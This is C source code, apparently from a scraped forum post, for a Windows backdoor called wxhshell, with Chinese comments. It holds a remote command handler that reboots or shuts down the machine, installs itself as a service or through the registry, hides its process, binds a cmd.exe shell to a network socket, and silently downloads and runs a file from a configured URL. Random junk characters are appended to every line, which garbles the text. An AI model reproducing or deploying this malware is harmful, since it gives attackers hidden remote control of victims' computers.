  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I8oo~2Q w  
  } 01!s"wjf  
  else { T0)4v-EO  
js1!9%BV  
    switch(cmd[0]) { y"]n:M:(  
  y(R? ,wa=]  
  // 帮助 YV=QF J'  
  case '?': {  mw_Ew]&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *5bLe'^\|K  
    break; Y_`-9'&  
  } <Q|d&vDVfV  
  // 安装 5J8r8` t  
  case 'i': { '` 'GK&)  
    if(Install()) =b;>?dP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I H$0)g;s  
    else b~dIk5>O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q1V9PRZX  
    break; sL E#q+W  
    } A+@&"  
  // 卸载 rt JtK6t  
  case 'r': { H>r!i 4l  
    if(Uninstall()) 3_JCU05H}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TW !&p"Us+  
    else %;#^l+UB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cj11S>D  
    break; MX@IHc  
    } >#ZUfm{k$  
  // 显示 wxhshell 所在路径 ^ 9!!;)  
  case 'p': { ;lYHQQd!,  
    char svExeFile[MAX_PATH]; P`r55@af4  
    strcpy(svExeFile,"\n\r"); ;?C #IU  
      strcat(svExeFile,ExeFile); 9@Cv5L?p\  
        send(wsh,svExeFile,strlen(svExeFile),0); bINvqv0v  
    break; d1[ZHio2c?  
    } +r3IN){jz  
  // 重启 Wg`R_>qQSm  
  case 'b': { ZiLj=bh  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o1nURJ!  
    if(Boot(REBOOT)) (8_\^jJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h6dPO"  
    else { ETs>`#`6o  
    closesocket(wsh); P2 Vg4   
    ExitThread(0); f6$b s+oP  
    } `6+"Z=:  
    break; #c^^=Z  
    } +iOKbc'  
  // 关机 9@+5LZR  
  case 'd': { {v3P9s(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yDNOtC|  
    if(Boot(SHUTDOWN)) HSq}7S&U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A 7[:5$  
    else { 'vNG(h#%d  
    closesocket(wsh); YKQr, Now  
    ExitThread(0); uw lr9nB  
    } !ct4;.2 D  
    break; I-OJVZ( V  
    } [9:9Ql_h  
  // 获取shell a&vY!vx 3  
  case 's': { 4tY ss  
    CmdShell(wsh); W`^@)|9^)  
    closesocket(wsh); E!S 78 z:  
    ExitThread(0); nS>8bub30  
    break; |JCU<_<  
  } *hcYGLx r  
  // 退出 +>JjvYx}\  
  case 'x': { m.,U:>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); I!^O)4QRx  
    CloseIt(wsh); fFQ|T:vm  
    break; [` sL?&a  
    } 6Aocm R0D'  
  // 离开 EYA,hc  
  case 'q': { .bio7c6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1^gl}^|B  
    closesocket(wsh); Z1"v}g  
    WSACleanup(); X.:]=,aGW  
    exit(1); 2;w*oop,O  
    break; 5h;+Ky!I  
        } ~Jf{4*>y  
  } k1Q ?'<`  
  } j&k6O1_  
orb_"Qw  
  // 提示信息 + nF'a(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G8Du~h!!U  
} oY, %Iq  
  } Nz)l<S9>  
u{L!n$D7  
  return; <_Q1k>  
} d^`?ed\1  
}V\N16f  
// shell模块句柄 m^qBx A  
int CmdShell(SOCKET sock) H= X|h)  
{ zP<pEI  
STARTUPINFO si; <I;2{*QI2  
ZeroMemory(&si,sizeof(si)); ZRYEqSm  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n'emN Ra  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0V?F'<qy  
PROCESS_INFORMATION ProcessInfo; 8g7<KKw  
char cmdline[]="cmd"; -44&#l^}_u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j)q\9#sI/(  
  return 0; &4_qF^9J  
} i&n'N8D@  
CD8}I85 K  
// 自身启动模式 mx=BD'  
int StartFromService(void) vhhC> 7  
{ h yv2SxP*  
typedef struct 2PG [7u^  
{ bcupo:N  
  DWORD ExitStatus; k!{p7*0  
  DWORD PebBaseAddress; 9YBv|A  
  DWORD AffinityMask; fDP$ sW  
  DWORD BasePriority; nl9P, d  
  ULONG UniqueProcessId; ,UuH}E  
  ULONG InheritedFromUniqueProcessId; &ot/nQQ  
}   PROCESS_BASIC_INFORMATION; t]e;;q=L.  
vY_-Ranj#.  
PROCNTQSIP NtQueryInformationProcess; ZWS`\M  
W | o'&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N 8-oY$*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,GgAsj: K  
L31|\x]  
  HANDLE             hProcess; 9HX =T%  
  PROCESS_BASIC_INFORMATION pbi; 0P]E6hWgg  
x|vqNZ\F  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z:_D0jG  
  if(NULL == hInst ) return 0; BGfzslK  
L{c q, jk  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); FLY Ca  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,`aq+K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^,]B@ t2  
 Sr?#S  
  if (!NtQueryInformationProcess) return 0; LlSZr)X  
Hik3wPnp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m?&1yU9  
  if(!hProcess) return 0; Y &K;l_  
9`9R!=NM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h*<P$t  
wKsT7c'  
  CloseHandle(hProcess); ki)#d' }  
[VWUqlNt>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uDZT_c'Y  
if(hProcess==NULL) return 0; y  TDNNK  
nb>7UN.9  
HMODULE hMod; ;{[.Zu  
char procName[255]; y.Z?LCd<  
unsigned long cbNeeded; } GiHjzsR  
42qYg(tZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cA:*V|YV `  
mbueP.q[?  
  CloseHandle(hProcess); >&U,co$>  
H8On<C=  
if(strstr(procName,"services")) return 1; // 以服务启动 Z@$8I{}G  
l(#)WWr+  
  return 0; // 注册表启动 jt.3P  
} y(xJT j  
jfqopiSi  
// 主模块 ~appY Av  
int StartWxhshell(LPSTR lpCmdLine) /QJ?bD#a  
{ $ O5UyKI  
  SOCKET wsl; )<Hd T  
BOOL val=TRUE; s S7c!  
  int port=0; y? co|  
  struct sockaddr_in door; 0xXC^jx:  
;I!MLI  
  if(wscfg.ws_autoins) Install(); jXMyPNTK  
xagBORg+Bd  
port=atoi(lpCmdLine); Dmu/RD5X:  
Zp# v Hs  
if(port<=0) port=wscfg.ws_port; pLzk   
+o51x'Ld*  
  WSADATA data; =%BZ9,l  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~7Tc$ "I  
=pC3~-;3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   c?,i3s+2Y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e[#j.|m  
  door.sin_family = AF_INET; v7`HQvQEz=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d8x\  
  door.sin_port = htons(port); ]]wA[c~G  
G@Z?&"    
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7?%k7f  
closesocket(wsl); v*[.a#1^  
return 1; =Yt R`  
} A, LuD.8  
i?F >+  
  if(listen(wsl,2) == INVALID_SOCKET) { _\GC(  
closesocket(wsl); =Fr(9 (  
return 1; )6J9J+%bi  
} 6ZQwBS0Y  
  Wxhshell(wsl); a0ObBe'  
  WSACleanup(); ;{" +g)u  
81i655!Z  
return 0; L# 2+z@g  
7fba-7-P  
} ;h jwD  
CtSl  
// 以NT服务方式启动 hBX!iukT|{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Pw61_ZZ4B\  
{ @>U-t{W  
DWORD   status = 0; KSN Pkd6  
  DWORD   specificError = 0xfffffff; N D2L_!g:(  
H?X|(r|+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Oal3rb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Q{lpKe0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OUNd@o  
  serviceStatus.dwWin32ExitCode     = 0; ^cz(}N 6&  
  serviceStatus.dwServiceSpecificExitCode = 0; #Q`dku%V:  
  serviceStatus.dwCheckPoint       = 0; >b{q.  
  serviceStatus.dwWaitHint       = 0; %eO0w a$a  
]3 l9:|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k>g _Z`%<  
  if (hServiceStatusHandle==0) return; !GNBDRr  
EG=Sl~~o  
status = GetLastError(); ]@Uq=?%  
  if (status!=NO_ERROR) |VNnOM  
{ nPy$D-L,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _<OSqE  
    serviceStatus.dwCheckPoint       = 0; vG"=h%  
    serviceStatus.dwWaitHint       = 0; uD @#  
    serviceStatus.dwWin32ExitCode     = status; lH6OcD:kj  
    serviceStatus.dwServiceSpecificExitCode = specificError; n@,G8=J?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &?yZv {  
    return; I\$X/t +dH  
  } cbT7CG  
Tap.5jHL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; h9G RI  
  serviceStatus.dwCheckPoint       = 0; MfWyc_  
  serviceStatus.dwWaitHint       = 0; (j3xAA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); YS*9t Q{  
} -3=#u_  
?qWfup\S  
// 处理NT服务事件,比如:启动、停止 @6]sNm  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7M<'/s  
{ 8Hn|cf0  
switch(fdwControl) /Id%_,}Kb  
{ [.uG5%fa  
case SERVICE_CONTROL_STOP: K8UP,f2  
  serviceStatus.dwWin32ExitCode = 0; %*0^0wz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8Y7Q+p|O  
  serviceStatus.dwCheckPoint   = 0; /q`xCS  
  serviceStatus.dwWaitHint     = 0; 0p}D(m2B  
  { 2 Cv4=S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YLzx<~E4a  
  } 2-Ej4I~  
  return; W1|0Yd ;P  
case SERVICE_CONTROL_PAUSE: zIu E9l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7B\Vs-d  
  break; < F.hZGss7  
case SERVICE_CONTROL_CONTINUE: 3GhRWB-U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !~rY1T~  
  break; UZJCvfi  
case SERVICE_CONTROL_INTERROGATE: J2xw) +  
  break; [8*jw'W|[  
}; ^!<BQP7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L"4mL,  
} ^5h]Y;tx  
;E3>ay6m8  
// 标准应用程序主函数 SfaQvstN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $4 S@  
{ [nrYpb4  
G?;e-OhV  
// 获取操作系统版本 f-`)^5E  
OsIsNt=GetOsVer(); yEhTNBa*h{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :<bB?N(  
#0P$M!%  
  // 从命令行安装 :?g:~+hfO  
  if(strpbrk(lpCmdLine,"iI")) Install(); $',K7%y  
x"gd8j]s  
  // 下载执行文件 %B5wH_p  
if(wscfg.ws_downexe) { }:KEj_~.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zGA q-<  
  WinExec(wscfg.ws_filenam,SW_HIDE); _0]S69lp  
} #/Vh|UeX  
PE3vQH=t~  
if(!OsIsNt) { mR?5G: W~R  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~nh:s|l6%M  
HideProc(); pxCK;]  
StartWxhshell(lpCmdLine); S/e2P|}  
} C(#u[8  
else %}Ss,XJ  
  if(StartFromService()) 0;AA/  
  // 以服务方式启动 j/_ s"}m{  
  StartServiceCtrlDispatcher(DispatchTable); o4K ~  
else e :%ieH<  
  // 普通方式启动 WSp  
  StartWxhshell(lpCmdLine); O$&mFL[`  
CsoiyY -2  
return 0; i*Sqda $  
}
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只看该作者 1 发表于: 2006-10-10
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